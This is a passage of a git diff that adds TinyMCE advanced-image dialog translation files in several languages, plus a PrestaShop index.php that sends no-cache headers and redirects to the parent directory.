a/js/tiny_mce2/plugins/advimage/langs/et_dlg.js b/js/tiny_mce2/plugins/advimage/langs/et_dlg.js new file mode 100755 index 0000000..0b2e774 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advimage_dlg',{"image_list":"Piltide nimekiri","align_right":"Paremal","align_left":"Vasakul","align_textbottom":"Tekst all","align_texttop":"Tekst \u00fcleval","align_bottom":"All","align_middle":"Keskel","align_top":"\u00dcleval","align_baseline":"Baas",align:"Joondus",hspace:"Horisontaalne vahe",vspace:"Vertikaalne vahe",dimensions:"M\u00f5\u00f5tmed",border:"Raam",list:"Piltide nimekiri",alt:"Pildi kirjeldus",src:"Pildi URL","dialog_title":"Sisesta/muuda pilti","missing_alt":"Oled kindel, et soovid j\u00e4tkata pildile kirjeldust lisamata?","example_img":"Eelvaate pildi v\u00e4limus",misc:"Mitmesugune",mouseout:"\u201eKursor maas\u201c",mouseover:"\u201eKursor peal\u201c","alt_image":"Alternatiivne pilt","swap_image":"Vaheta pilti",map:"Pildi kaart",id:"ID",rtl:"Paremalt vasakule",ltr:"Vasakult paremale",classes:"Klassid",style:"Stiil","long_desc":"Pikk kirjelduse link",langcode:"Keele kood",langdir:"Keele suund","constrain_proportions":"Piira proportioone",preview:"Eelvaade",title:"Pealkiri",general:"\u00dcldine","tab_advanced":"P\u00f5hjalikum","tab_appearance":"V\u00e4limus","tab_general":"\u00dcldine",width:"Laius",height:"K\u00f5rgus"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/fa_dlg.js b/js/tiny_mce2/plugins/advimage/langs/fa_dlg.js new file mode 100755 index 0000000..8e5b5b3 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advimage_dlg',{"image_list":"\u0644\u06cc\u0633\u062a \u062a\u0635\u0648\u06cc\u0631","align_right":"\u0631\u0627\u0633\u062a","align_left":"\u0686\u067e","align_textbottom":"\u0645\u062a\u0646 \u067e\u0627\u06cc\u06cc\u0646","align_texttop":"\u0645\u062a\u0646 \u0628\u0627\u0644\u0627","align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","align_middle":"\u0648\u0633\u0637","align_top":"\u0628\u0627\u0644\u0627","align_baseline":"\u062e\u0637 \u067e\u0627\u06cc\u0647",align:"\u062a\u0631\u0627\u0632",hspace:"\u0641\u0627\u0635\u0644\u0647 \u0627\u0641\u0642\u06cc",vspace:"\u0641\u0627\u0635\u0644\u0647 \u0639\u0645\u0648\u062f\u06cc",dimensions:"\u0627\u0628\u0639\u0627\u062f",border:"\u062d\u0627\u0634\u06cc\u0647",list:"\u0644\u06cc\u0633\u062a \u062a\u0635\u0648\u06cc\u0631",alt:"\u062a\u0648\u0636\u06cc\u062d \u062a\u0635\u0648\u06cc\u0631",src:"\u0622\u062f\u0631\u0633 \u062a\u0635\u0648\u06cc\u0631 (URL)","dialog_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","missing_alt":"\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0627\u0632 \u0627\u062f\u0627\u0645\u0647 \u0628\u062f\u0648\u0646 \u0634\u0627\u0645\u0644 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u062a\u0648\u0636\u06cc\u062d \u0628\u0631\u0627\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u06cc\u062f\u061f \u0628\u062f\u0648\u0646 \u0622\u0646 \u0645\u0645\u06a9\u0646 \u0646\u06cc\u0633\u062a \u062a\u0635\u0627\u0648\u06cc\u0631 \u0628\u0631\u0627\u06cc \u0628\u0631\u062e\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u0642\u0627\u0628\u0644\u06cc\u062a \u062f\u06cc\u062f\u0646 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0631\u0627 \u0646\u062f\u0627\u0631\u0646\u062f \u060c \u06cc\u0627 \u0622\u0646\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0645\u0631\u0648\u0631\u06af\u0631 \u0645\u062a\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u0646\u062f \u060c \u06cc\u0627 \u062f\u0631 \u062d\u0627\u0644 \u062f\u06cc\u062f\u0646 \u0648\u0628 \u0628\u062f\u0648\u0646 \u062a\u0635\u0648\u06cc\u0631 \u0645\u06cc \u0628\u0627\u0634\u0646\u062f \u060c \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u06cc\u0627\u0628\u06cc \u0628\u0627\u0634\u062f.","example_img":"\u062a\u0635\u0648\u06cc\u0631 \u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634 \u0638\u0627\u0647\u0631",misc:"\u0645\u062a\u0641\u0631\u0642\u0647",mouseout:"\u0628\u0631\u0627\u06cc \u0631\u0641\u062a\u0646 \u0645\u0648\u0633",mouseover:"\u0628\u0631\u0627\u06cc \u0622\u0645\u062f\u0646 \u0645\u0648\u0633","alt_image":"\u062a\u0635\u0648\u06cc\u0631 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646","swap_image":"\u062a\u0639\u0648\u06cc\u0636 \u062a\u0635\u0648\u06cc\u0631",map:"\u0646\u0642\u0634\u0647 \u062a\u0635\u0648\u06cc\u0631",id:"\u0634\u0646\u0627\u0633\u0647",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",classes:"\u06a9\u0644\u0627\u0633 \u0647\u0627",style:"\u0627\u0633\u062a\u06cc\u0644","long_desc":"\u0644\u06cc\u0646\u06a9 \u062a\u0648\u0636\u06cc\u062d \u0637\u0648\u0644\u0627\u0646\u06cc",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646","constrain_proportions":"\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628",preview:"\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634",title:"\u0639\u0646\u0648\u0627\u0646",general:"\u0639\u0645\u0648\u0645\u06cc","tab_advanced":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","tab_appearance":"\u0638\u0627\u0647\u0631","tab_general":"\u0639\u0645\u0648\u0645\u06cc",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/fi_dlg.js b/js/tiny_mce2/plugins/advimage/langs/fi_dlg.js new file mode 100755 index 0000000..f85c1ec --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advimage_dlg',{"image_list":"Kuvalista","align_right":"Oikealla","align_left":"Vasemmalla","align_textbottom":"Teksti alhaalla","align_texttop":"Teksti ylh\u00e4\u00e4ll\u00e4","align_bottom":"Alhaalla","align_middle":"Keskell\u00e4","align_top":"Ylh\u00e4\u00e4ll\u00e4","align_baseline":"Rivill\u00e4",align:"Tasaus",hspace:"vaakasuora tila",vspace:"pystysuora tila",dimensions:"Mitat",border:"Kehys",list:"Kuvalista",alt:"Kuvan kuvaus",src:"Kuvan URL","dialog_title":"Lis\u00e4\u00e4/muokkaa kuvaa","missing_alt":"Haluatko varmasti jatkaa lis\u00e4\u00e4m\u00e4tt\u00e4 kuvausta? Kuvauksen puuttuminen saattaa h\u00e4irit\u00e4 sellaisia, jotka k\u00e4ytt\u00e4v\u00e4t tekstipohjaista selainta tai ovat kytkeneet kuvien n\u00e4kymisen pois p\u00e4\u00e4lt\u00e4.","example_img":"Ulkoasun esikatselukuva",misc:"Sekalaiset",mouseout:"mouseoutille",mouseover:"mouseoverille","alt_image":"Vaihtoehtoinen kuva","swap_image":"Vaihda kuva",map:"Kuvakartta",id:"Id",rtl:"Oikealta vasemmalle",ltr:"Vasemmalta oikealle",classes:"Luokat",style:"Tyyli","long_desc":"Pitk\u00e4n kuvauksen linkki",langcode:"Kielen koodi",langdir:"Kielen suunta","constrain_proportions":"S\u00e4ilyt\u00e4 mittasuhteet",preview:"Esikatselu",title:"Otsikko",general:"Yleiset","tab_advanced":"Edistynyt","tab_appearance":"N\u00e4kyminen","tab_general":"Yleiset",width:"Leveys",height:"Korkeus"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/fr_dlg.js b/js/tiny_mce2/plugins/advimage/langs/fr_dlg.js new file mode 100755 index 0000000..1479bf1 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advimage_dlg',{"image_list":"Liste d\'images","align_right":"Droite (flottant)","align_left":"Gauche (flottant)","align_textbottom":"Texte en bas","align_texttop":"Texte en haut","align_bottom":"En bas","align_middle":"Au milieu","align_top":"En haut","align_baseline":"Normal",align:"Alignement",hspace:"Espacement horizontal",vspace:"Espacement vertical",dimensions:"Dimensions",border:"Bordure",list:"Liste d\'images",alt:"Description de l\'image",src:"URL de l\'image","dialog_title":"Ins\u00e9rer / \u00e9diter une image","missing_alt":"\u00cates-vous s\u00fbr de vouloir continuer sans d\u00e9finir de description pour l\'image ? Sans elle, l\'image peut ne pas \u00eatre accessible \u00e0 certains utilisateurs handicap\u00e9s, ceux utilisant un navigateur texte ou ceux qui naviguent sans affichage des images.","example_img":"Apparence de l\'image",misc:"Divers",mouseout:"\u00e0 la sortie de la souris",mouseover:"au survol de la souris","alt_image":"Image alternative","swap_image":"Image de remplacement",map:"Image cliquable",id:"Id",rtl:"De droite \u00e0 gauche",ltr:"De gauche \u00e0 droite",classes:"Classes",style:"Style","long_desc":"Description longue du lien",langcode:"Code de la langue",langdir:"Sens de lecture","constrain_proportions":"Conserver les proportions",preview:"Pr\u00e9visualisation",title:"Titre",general:"G\u00e9n\u00e9ral","tab_advanced":"Avanc\u00e9","tab_appearance":"Apparence","tab_general":"G\u00e9n\u00e9ral",width:"Largeur",height:"Hauteur"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/gl_dlg.js b/js/tiny_mce2/plugins/advimage/langs/gl_dlg.js new file mode 100755 index 0000000..aeac4bd --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advimage_dlg',{"image_list":"Lista de imaxes","align_right":"Dereita","align_left":"Esquerda","align_textbottom":"Texto abaixo","align_texttop":"Texto arriba","align_bottom":"Abaixo","align_middle":"Medio","align_top":"Arriba","align_baseline":"Li\u00f1a base",align:"Ali\u00f1amento",hspace:"Espacio horizontal",vspace:"Espacio vertical",dimensions:"Dimensi\u00f3ns",border:"Bordes",list:"Lista de imaxes",alt:"Descripci\u00f3n da imaxe",src:"URL da imaxe","dialog_title":"Insertar/editar imaxe","missing_alt":"\u00bfEsta seguro de continuar sen introducir unha descripci\u00f3n \u00e1 imaxe? Sen ela pode non ser accesible pra usuarios con discapacidades, ou pra aqueles que usen navegadores de modo texto, ou te\u00f1an deshabilitadas as imaxes da p\u00e1xina.","example_img":"Vista previa da imaxe",misc:"Miscel\u00e1neo",mouseout:"pra mouseout",mouseover:"pra mouseover","alt_image":"Imaxe alternativa","swap_image":"Intercambiar imaxe",map:"Mapa de imaxe",id:"Id",rtl:"Dereita a esquerda",ltr:"Esquerda a dereita",classes:"Clases",style:"Estilos","long_desc":"V\u00ednculo pra descripci\u00f3n larga",langcode:"C\u00f3digo do idioma",langdir:"Direcci\u00f3n do idioma","constrain_proportions":"Bloquear proporci\u00f3ns",preview:"Vista previa",title:"T\u00edtulo",general:"Xeral","tab_advanced":"Avanzado","tab_appearance":"Apariencia","tab_general":"Xeral",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/he_dlg.js b/js/tiny_mce2/plugins/advimage/langs/he_dlg.js new file mode 100755 index 0000000..fb3ea2a --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advimage_dlg',{"image_list":"\u05e8\u05e9\u05d9\u05de\u05ea \u05ea\u05de\u05d5\u05e0\u05d5\u05ea","align_right":"\u05dc\u05d9\u05de\u05d9\u05df","align_left":"\u05dc\u05e9\u05de\u05d0\u05dc","align_textbottom":"\u05d8\u05e7\u05e1\u05d8 \u05ea\u05d7\u05ea\u05d5\u05df","align_texttop":"\u05d8\u05e7\u05e1\u05d8 \u05e2\u05dc\u05d9\u05d5\u05df","align_bottom":"\u05ea\u05d7\u05ea\u05d9\u05ea","align_middle":"\u05d0\u05de\u05e6\u05e2","align_top":"\u05e2\u05dc\u05d9\u05d5\u05df","align_baseline":"\u05e7\u05d5 \u05d1\u05e1\u05d9\u05e1\u05d9",align:"\u05d9\u05e9\u05d5\u05e8",hspace:"\u05e7\u05d5 \u05d0\u05d5\u05e4\u05e7\u05d9",vspace:"\u05e7\u05d5 \u05d0\u05e0\u05db\u05d9",dimensions:"\u05de\u05d9\u05de\u05d3\u05d9\u05dd",border:"\u05d2\u05d1\u05d5\u05dc",list:"\u05e8\u05e9\u05d9\u05de\u05ea \u05ea\u05de\u05d5\u05e0\u05d5\u05ea",alt:"\u05ea\u05d9\u05d0\u05d5\u05e8 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",src:"URL \u05e9\u05dc \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","dialog_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05ea\u05de\u05d5\u05e0\u05d4","missing_alt":"\u05dc\u05d4\u05de\u05e9\u05d9\u05da \u05de\u05d1\u05dc\u05d9 \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05ea\u05d9\u05d0\u05d5\u05e8 \u05dc\u05ea\u05de\u05d5\u05e0\u05d4?","example_img":"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4 \u05e9\u05dc \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",misc:"\u05e9\u05d5\u05e0\u05d5\u05ea",mouseout:"\u05d4\u05e1\u05de\u05df \u05e2\u05d1\u05e8 \u05d0\u05ea \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",mouseover:"\u05d1\u05e2\u05ea \u05de\u05e2\u05d1\u05e8 \u05d4\u05e1\u05de\u05df \u05e2\u05dc \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","alt_image":"\u05ea\u05de\u05d5\u05e0\u05d4 \u05d7\u05dc\u05d9\u05e4\u05d9\u05ea","swap_image":"\u05d4\u05d7\u05dc\u05e4\u05ea \u05ea\u05de\u05d5\u05e0\u05d4",map:"Image map",id:"Id",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",classes:"Classes",style:"\u05e1\u05d2\u05e0\u05d5\u05df","long_desc":"\u05ea\u05d9\u05d0\u05d5\u05e8 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e8\u05d5\u05da",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4","constrain_proportions":"\u05e9\u05de\u05d9\u05e8\u05d4 \u05e2\u05dc \u05e4\u05e8\u05d5\u05e4\u05d5\u05e8\u05e6\u05d9\u05d5\u05ea",preview:"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4",title:"\u05db\u05d5\u05ea\u05e8\u05ea",general:"\u05db\u05dc\u05dc\u05d9","tab_advanced":"\u05de\u05ea\u05e7\u05d3\u05dd","tab_appearance":"\u05de\u05e8\u05d0\u05d4","tab_general":"\u05db\u05dc\u05dc\u05d9",width:"\u05e8\u05d5\u05d7\u05d1",height:"\u05d2\u05d5\u05d1\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/hu_dlg.js b/js/tiny_mce2/plugins/advimage/langs/hu_dlg.js new file mode 100755 index 0000000..d692d27 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advimage_dlg',{"image_list":"K\u00e9plista","align_right":"Jobbra","align_left":"Balra","align_textbottom":"Sz\u00f6veg alj\u00e1hoz","align_texttop":"Sz\u00f6veg tetej\u00e9hez","align_bottom":"Lentre","align_middle":"K\u00f6z\u00e9pre","align_top":"Fentre","align_baseline":"Alapvonalhoz",align:"Igaz\u00edt\u00e1s",hspace:"V\u00edzszintes t\u00e1vols\u00e1g",vspace:"F\u00fcgg\u0151leges t\u00e1vols\u00e1g",dimensions:"M\u00e9retek",border:"Keret",list:"K\u00e9plista",alt:"K\u00e9p helyettes\u00edt\u0151 sz\u00f6vege",src:"K\u00e9p internet c\u00edme","dialog_title":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","missing_alt":"Biztosan folytatja helyettes\u00edt\u0151 sz\u00f6veg n\u00e9lk\u00fcl? En\u00e9lk\u00fcl a korl\u00e1toz\u00e1ssal \u00e9l\u0151k, sz\u00f6veges b\u00f6ng\u00e9sz\u0151t haszn\u00e1l\u00f3k \u00e9s a k\u00e9pek megjelen\u00edt\u00e9s\u00e9t letilt\u00f3 felhaszn\u00e1l\u00f3k h\u00e1tr\u00e1nyban lesznek.","example_img":"El\u0151n\u00e9zeti k\u00e9p",misc:"Vegyes",mouseout:"K\u00e9p az eg\u00e9rkurzor lev\u00e9telekor",mouseover:"K\u00e9p az eg\u00e9rkurzor f\u00f6l\u00e9vitelekor","alt_image":"Alternat\u00edv k\u00e9p","swap_image":"K\u00e9pcsere",map:"K\u00e9p t\u00e9rk\u00e9p",id:"Id",rtl:"Jobbr\u00f3l balra",ltr:"Balr\u00f3l jobbra",classes:"Oszt\u00e1lyok",style:"CSS St\u00edlus","long_desc":"B\u0151vebb le\u00edr\u00e1s link",langcode:"Nyelv k\u00f3d",langdir:"Nyelv \u00edr\u00e1s ir\u00e1ny","constrain_proportions":"Ar\u00e1nytart\u00e1s",preview:"El\u0151n\u00e9zet",title:"C\u00edm",general:"\u00c1ltal\u00e1nos","tab_advanced":"Halad\u00f3","tab_appearance":"Megjelen\u00e9s","tab_general":"\u00c1ltal\u00e1nos",width:"Sz\u00e9less\u00e9g",height:"Magass\u00e1g"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/id_dlg.js b/js/tiny_mce2/plugins/advimage/langs/id_dlg.js new file mode 100755 index 0000000..e7bc7c6 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advimage_dlg',{"image_list":"Daftar Gambar","align_right":"Right","align_left":"Left","align_textbottom":"Text bottom","align_texttop":"Text top","align_bottom":"Bottom","align_middle":"Middle","align_top":"Top","align_baseline":"Baseline",align:"Alignment",hspace:"Horizontal space",vspace:"Vertical space",dimensions:"Dimensi",border:"Border",list:"Daftar Gambar",alt:"Deskripsi Gambar",src:"URL Gambar","dialog_title":"sisipkan/Ubah Gambar","missing_alt":"Yakin ingin melanjutkan tanpa menyertakan deskripsi gambar? Gambar mungkin tidak dapat diakses oleh beberapa pengguna yang yang memiliki keterbatasan, atau mereka yang menggunakan modus teks browser, atau berselancar di Web dengan gambar dimatikan.","example_img":"Gambar pra-tampil",misc:"Rupa-rupa",mouseout:"untuk mouse out",mouseover:"untuk mouse over","alt_image":"Alternatif gambar","swap_image":"Swap image",map:"Image map",id:"Id",rtl:"Kanan ke kiri",ltr:"Kiri ke kanan",classes:"Classes",style:"Style","long_desc":"Deskripsi panjang link",langcode:"Kode bahasa",langdir:"Bahasa","constrain_proportions":"Proporsi dibatasi",preview:"Preview",title:"Judul",general:"Umun","tab_advanced":"Advanced","tab_appearance":"Tampilan","tab_general":"Umum",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/index.php b/js/tiny_mce2/plugins/advimage/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advimage/langs/it_dlg.js b/js/tiny_mce2/plugins/advimage/langs/it_dlg.js new file mode 100755 index 0000000..9195c96 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advimage_dlg',{"image_list":"Lista immagini","align_right":"A destra","align_left":"A sinistra","align_textbottom":"In basso al testo","align_texttop":"In alto al testo","align_bottom":"In basso","align_middle":"In mezzo","align_top":"In alto","align_baseline":"Alla base",align:"Allineamento",hspace:"Spaziatura orizzontale",vspace:"Spaziatura verticale",dimensions:"Dimensioni",border:"Bordo",list:"Lista immagini",alt:"Descrizione immagine",src:"URL immagine","dialog_title":"Inserisci/modifica immagine","missing_alt":"Sicuro di continuare senza includere una descrizione dell\'immagine? Senza di essa l\'immagine pu\u00f2 non essere accessibile ad alcuni utenti con disabilit\u00e0, o per coloro che usano un browser testuale oppure che hanno disabilitato la visualizzazione delle immagini nel loro browser.","example_img":"Anteprima aspetto immagine",misc:"Impostazioni varie",mouseout:"quando mouse fuori",mouseover:"quando mouse sopra","alt_image":"Immagine alternativa","swap_image":"Sostituisci immagine",map:"Immagine come mappa",id:"Id",rtl:"Destra verso sinistraa",ltr:"Sinistra verso destra",classes:"Classe",style:"Stile","long_desc":"Descrizione del collegamento",langcode:"codice lingua",langdir:"Direzione testo","constrain_proportions":"Mantieni proporzioni",preview:"Anteprima",title:"Titolo",general:"Generale","tab_advanced":"Avanzate","tab_appearance":"Aspetto","tab_general":"Generale",width:"Larghezza",height:"Altezza"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/ja_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ja_dlg.js new file mode 100755 index 0000000..f8449c4 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advimage_dlg',{"image_list":"\u753b\u50cf\u306e\u4e00\u89a7","align_right":"\u53f3\u5bc4\u305b","align_left":"\u5de6\u5bc4\u305b","align_textbottom":"\u30c6\u30ad\u30b9\u30c8\u3092\u4e0b\u7aef\u63c3\u3048","align_texttop":"\u30c6\u30ad\u30b9\u30c8\u3092\u4e0a\u7aef\u63c3\u3048","align_bottom":"\u4e0b\u63c3\u3048","align_middle":"\u4e2d\u592e\u63c3\u3048","align_top":"\u4e0a\u63c3\u3048","align_baseline":"\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u63c3\u3048",align:"\u914d\u7f6e",hspace:"\u5de6\u53f3\u306e\u4f59\u767d",vspace:"\u4e0a\u4e0b\u306e\u4f59\u767d",dimensions:"\u5bf8\u6cd5",border:"\u67a0\u7dda",list:"\u753b\u50cf\u306e\u4e00\u89a7",alt:"\u753b\u50cf\u306e\u8aac\u660e",src:"\u753b\u50cf\u306eURL","dialog_title":"\u753b\u50cf\u3092\u633f\u5165/\u7de8\u96c6","missing_alt":"\u753b\u50cf\u306e\u8aac\u660e\u3092\u542b\u3081\u305a\u306b\u7d9a\u3051\u307e\u3059\u304b? \u753b\u50cf\u306e\u8aac\u660e\u304c\u306a\u3044\u3068\u76ee\u306e\u4e0d\u81ea\u7531\u306a\u65b9\u3001\u30c6\u30ad\u30b9\u30c8\u8868\u793a\u3060\u3051\u306e\u30d6\u30e9\u30a6\u30b6\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u65b9\u3001\u753b\u50cf\u306e\u8868\u793a\u3092\u6b62\u3081\u3066\u308b\u65b9\u304c\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002","example_img":"\u753b\u50cf\u306e\u30d7\u30ec\u30d3\u30e5\u30fc\u306e\u69d8\u5b50",misc:"\u305d\u306e\u4ed6",mouseout:"\u30de\u30a6\u30b9\u30ab\u30fc\u30bd\u30eb\u304c\u5916\u308c\u308b\u6642",mouseover:"\u30de\u30a6\u30b9\u30ab\u30fc\u30bd\u30eb\u304c\u304b\u304b\u308b\u6642","alt_image":"\u5225\u306e\u753b\u50cf","swap_image":"\u753b\u50cf\u306e\u5165\u308c\u66ff\u3048",map:"\u30a4\u30e1\u30fc\u30b8\u30de\u30c3\u30d7",id:"ID",rtl:"\u53f3\u304b\u3089\u5de6",ltr:"\u5de6\u304b\u3089\u53f3",classes:"\u30af\u30e9\u30b9",style:"\u30b9\u30bf\u30a4\u30eb","long_desc":"\u8a73\u7d30\u306a\u8aac\u660e\u306e\u30ea\u30f3\u30af",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9",langdir:"\u6587\u7ae0\u306e\u65b9\u5411","constrain_proportions":"\u7e26\u6a2a\u6bd4\u306e\u7dad\u6301",preview:"\u30d7\u30ec\u30d3\u30e5\u30fc",title:"\u30bf\u30a4\u30c8\u30eb",general:"\u4e00\u822c","tab_advanced":"\u9ad8\u5ea6\u306a\u8a2d\u5b9a","tab_appearance":"\u8868\u793a","tab_general":"\u4e00\u822c",width:"\u5e45",height:"\u9ad8\u3055"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/ka_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ka_dlg.js new file mode 100755 index 0000000..6ab7d35 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advimage_dlg',{"image_list":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0","align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_textbottom":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_texttop":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_middle":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_baseline":"\u10e1\u10d0\u10d1\u10d0\u10d6\u10d8\u10e1\u10dd \u10ee\u10d0\u10d6\u10d6\u10d4",align:"\u10db\u10dd\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",hspace:"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",vspace:"\u10d5\u10d4\u10e0\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",dimensions:"\u10d6\u10dd\u10db\u10d4\u10d1\u10d8",border:"\u10e9\u10d0\u10e0\u10e9\u10dd",list:"\u10e1\u10d8\u10d0",alt:"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d0",src:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8","dialog_title":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","missing_alt":"\u10d0\u10e0 \u10d2\u10e1\u10e3\u10e0\u10d7 \u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0? \u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10e3\u10e0\u10d0\u10d7\u10d8 \u10e8\u10d4\u10d8\u10eb\u10da\u10d4\u10d1\u10d0 \u10d6\u10dd\u10d2\u10d8 \u10db\u10dc\u10d0\u10ee\u10d5\u10d4\u10da\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1 \u10d8\u10e7\u10dd\u10e1 